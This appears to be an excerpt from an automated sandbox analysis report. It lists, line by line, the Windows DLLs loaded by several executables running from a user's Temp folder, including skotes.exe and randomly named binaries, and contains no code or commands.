Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
